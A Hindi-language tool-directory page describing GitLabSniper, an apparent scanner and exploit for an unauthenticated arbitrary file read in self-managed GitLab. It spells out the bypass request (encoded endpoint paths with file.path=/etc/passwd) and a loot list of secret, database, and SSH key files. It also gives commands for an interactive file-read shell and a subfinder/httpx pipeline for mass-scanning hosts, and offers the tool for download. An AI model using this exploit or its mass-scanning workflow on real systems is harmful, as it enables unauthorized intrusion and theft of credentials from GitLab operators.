Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
Log in
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
GitLabSniper — CVE-2026-85706 के लिए सिंगल-फ़ाइल Python स्कैनर और एक्सप्लॉइट, जो self-managed GitLab CE/EE में अनऑथेंटिकेटेड आर्बिट्ररी फ़ाइल रीड है, जिसमें प्रोजेक्ट एन्यूमरेशन, लूट पाथ और एक इंटरैक्टिव शेल शामिल है। | Kitploit
उपकरण/GitHubGitHub/ynsmroztas/gitlabsniper
टोहीभेद्यता स्कैनरशोषणस्क्रिप्टिंग और स्वचालनवेब एप्लिकेशन शोषणडेटा निष्कासनजानकारी एकत्र करनावेब सुरक्षापेनिट्रेशन टेस्टिंग
GitHubynsmroztas/gitlabsniper

GitLabSniper

CVE-2026-85706 के लिए सिंगल-फ़ाइल Python स्कैनर और एक्सप्लॉइट, जो self-managed GitLab CE/EE में अनऑथेंटिकेटेड आर्बिट्ररी फ़ाइल रीड है, जिसमें प्रोजेक्ट एन्यूमरेशन, लूट पाथ और एक इंटरैक्टिव शेल शामिल है।

823720 दिन पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
रिपॉजिटरी देखें

GitLabSniper — CVE-2026-85706 अनधिकृत फ़ाइल रीड पाइपलाइन

GitLabSniper

CVE-2026-85706 — GitLab CE/EE अनधिकृत मनमाना फ़ाइल रीड
डिटेक्ट · सार्वजनिक प्रोजेक्ट एनम · लूट · इंटरैक्टिव शेल · subfinder/httpx पाइपलाइन


लेखक: Yunus Emre Öztaş (mitsec)
X: x.com/ynsmroztas
GitHub: github.com/ynsmroztas
साइट: ynsmroztas.github.io
मेल: [email protected]

केवल उन सिस्टम पर उपयोग करें जिनके आप स्वामी हैं या जिनका परीक्षण करने के लिए आपको स्पष्ट रूप से अधिकृत किया गया है (बग बाउंटी / VDP / लिखित अनुबंध)।


यह क्या है

GitLabSniper.py CVE-2026-85706 के लिए एक सिंगल-फ़ाइल Python स्कैनर/एक्सप्लॉइट है: स्व-प्रबंधित GitLab Community Edition और Enterprise Edition में एक अनधिकृत लोकल फ़ाइल रीड।

यह "वर्ज़न प्रभावित लगता है" पर रुकता नहीं है। यह Workhorse parser-differential bypass चलाता है, Rails प्रतिक्रिया को वर्गीकृत करता है, और केवल तब FILE LEAK प्रिंट करता है जब 400 बॉडी में invalid %-encoding (...) के अंदर फ़ाइल बाइट्स मौजूद हों।

बैंडवर्ज़न
प्रभावित18.7 – 19.1.7 · 19.2.0 – 19.2.5 · 19.3.0 – 19.3.1
पैच किया गया19.1.8 / 19.2.6 / 19.3.2 (2026-09-10)
दायरे में नहींgitlab.com · GitLab Dedicated

बग कैसे काम करता है

तीन रिपॉज़िटरी एंडपॉइंट Workhorse requestBodyUploader के पीछे बैठे हैं:

  • POST /api/v4/projects/:id/repository/commits
  • POST /api/v4/projects/:id/repository/files/:file_path
  • PUT /api/v4/projects/:id/repository/files/:file_path

Rails कच्चा file.path फ़ील्ड लेता है और authenticate! से पहले File.open चलाता है। require_gitlab_workhorse! यहाँ वास्तविक गेट नहीं है: Workhorse पहले से ही जो कुछ भी प्रॉक्सी करता है उस पर एक वैध Gitlab-Workhorse-Api-Request JWT लगा देता है।

Workhorse को पहले अपलोड को रीराइट करना था। इसका रूट regex EscapedPath() और एक path.Clean क्लोन से मेल खाता है जो कभी प्रतिशत-डिकोड नहीं करता। Puma Grape रूटिंग से पहले %XX को डिकोड करता है।

Attacker
  POST /api/v4/projects/35/repository/%63ommits
  POST /api/v4/projects/35/repository/commits/          ← trailing slash also slips
       ?file=&file.path=/etc/passwd&file.size=1
       &Content-Type=application/x-www-form-urlencoded
        │
        ▼
Workhorse     regex sees "%63ommits" / "commits/"  → MISS  (no rewrite)
        │
        ▼
Puma          decodes %63 → commits                 → ROUTES to Rails
        │
        ▼
Rails         File.open(params[:file][:path])       → BEFORE auth
        │
        ▼
Rack          parse_nested_query(File.read(path))
              stray "%" that is not %HH
        │
        ▼
HTTP 400      Invalid parameter: invalid %-encoding (<raw file bytes>)

file= खाली requires :file, WorkhorseFile को संतुष्ट करता है (खाली → nil)। लीक चैनल urlencoded ब्रांच है। JSON/Oj फ़ाइल बाइट्स को उसी तरह इको नहीं करता — टूल हमेशा Content-Type=application/x-www-form-urlencoded भेजता है।

//, /./, %2F और ; bypass नहीं करते: path.Clean पहले दो को सामान्य कर देता है और Puma %2F को अस्वीकार कर देता है।

प्रोजेक्ट id यह नहीं है कि "किस रेपो से फ़ाइलें चुरानी हैं"। file.path एक पूर्ण सर्वर पथ है। id केवल URL का वह हिस्सा है जो कमज़ोर कंट्रोलर तक पहुँचता है।

एंडपॉइंटप्रोजेक्ट आवश्यकता
files (%66iles)कोई भी id अक्सर काम करता है — File.open प्रोजेक्ट जाँच से पहले है
commits (%63ommits, commits/, commits.json)ऐसा प्रोजेक्ट चाहिए जिसे अनाम उपयोगकर्ता read_code कर सके। अन्यथा 404 Project Not Found

इसीलिए टूल GET /api/v4/projects को एनम करता है और गेटेड ids को छोड़ देता है।

पुष्ट लीक के लिए बॉडी में यह सबस्ट्रिंग आवश्यक है:

invalid %-encoding (

जिन फ़ाइलों में कोई अकेला % नहीं है वे अभी भी खुल सकती हैं (read-noecho / बाद में branch is required) लेकिन इको नहीं करेंगी। वह एक ओरेकल है, रिपोर्ट करने योग्य डंप नहीं।


विशेषताएँ

  • GitLab फ़िंगरप्रिंट (HTML / x-gitlab-* / sign-in) + दिखने पर वर्ज़न रेंज
  • सार्वजनिक प्रोजेक्ट एनम (GET /api/v4/projects)
  • गैर-गेटेड प्रोजेक्ट id का स्वचालित चयन (फ़ॉलबैक 1..7)
  • Workhorse bypass मैट्रिक्स
    • %63ommits · %72epository · %66iles
    • trailing / · .json
    • files पर POST + PUT
  • प्रतिक्रिया वर्गीकरण: leak · leak-fragment · read-noecho · missing · project-gate · rewrite · noroute
  • --auto लूट सूची (hostname, passwd, secrets.yml, gitlab-secrets.json, gitlab.rb, database.yml, ssh keys, environ)
  • पहले लीक के बाद स्टिकी वर्किंग फ़ॉर्म
  • इंटरैक्टिव शेल (cat, loot, secrets, passwd, project <id>, curl)
  • पाइपलाइन: raw hosts, httpx -sc -td -title, httpx -json, ANSI हटाया गया
  • JSON / JSONL रिपोर्ट (-o)
  • रंगीन HIT बैनर + तैयार-से-पेस्ट curl PoC

इंस्टॉल

pip install requests
python3 GitLabSniper.py -h

Python 3.10+। कोई अन्य निर्भरता नहीं।


उपयोग

एकल होस्ट

python3 GitLabSniper.py -u https://gitlab.example.com --auto
python3 GitLabSniper.py -u https://gitlab.example.com --auto --shell
python3 GitLabSniper.py -u https://gitlab.example.com --file /etc/gitlab/gitlab-secrets.json
python3 GitLabSniper.py -u https://gitlab.example.com --project-id 35 --auto

इंटरैक्टिव शेल

python3 GitLabSniper.py -u https://gitlab.example.com --shell
[email protected]> help
[email protected]> cat /etc/passwd
[email protected]> secrets
[email protected]> loot
[email protected]> project 35
[email protected]> curl /etc/gitlab/gitlab.rb
[email protected]> exit

पाइपलाइन (subfinder + httpx)

subfinder -d example.com -silent \
  | httpx -silent -sc -td -title \
  | python3 GitLabSniper.py --pipe --auto -o hits.jsonl

subfinder -d example.com -silent \
  | httpx -silent -json \
  | python3 GitLabSniper.py --pipe --auto -q -o hits.jsonl

# stdin is not a TTY → --pipe is implied
cat hosts.txt | python3 GitLabSniper.py --auto

पार्सर स्वीकार करता है:

  • https://gitlab.example.com
  • https://gitlab.example.com [200] [GitLab] [nginx]
  • httpx -json ऑब्जेक्ट (url / status_code)
  • बेयर host और host:port
  • [0] / timeout / खाली पंक्तियाँ छोड़ता है

फ़्लैग

फ़्लैगअर्थ
-u / -t / --targetएकल बेस URL
--pipestdin से टारगेट पढ़ें
-f / --listहोस्ट की फ़ाइल
--fileपढ़ने के लिए एक पूर्ण पथ
--auto / --lootउच्च-मूल्य GitLab फ़ाइल सूची
--shellइंटरैक्टिव फ़ाइल-रीड शेल
--project-idप्रोजेक्ट id बाध्य करें (डिफ़ॉल्ट: एनम + फ़ॉलबैक)
--max-projectsएनम/फ़ॉलबैक ids की सीमा (डिफ़ॉल्ट 8)
--forceफ़िंगरप्रिंट कमज़ोर होने पर भी स्कैन करें
--threadsपाइपलाइन वर्कर (डिफ़ॉल्ट 8)
--timeoutसेकंड (डिफ़ॉल्ट 15)
-ohits.json या hits.jsonl
-qशांत
--no-bannerबैनर नहीं

एग्ज़िट कोड: 0 लीक · 1 केवल-ओरेकल / पाइप में कोई लीक नहीं · 2 कोई उपयोगी सिग्नल नहीं।


निर्णय

टूल डाउनलोड करें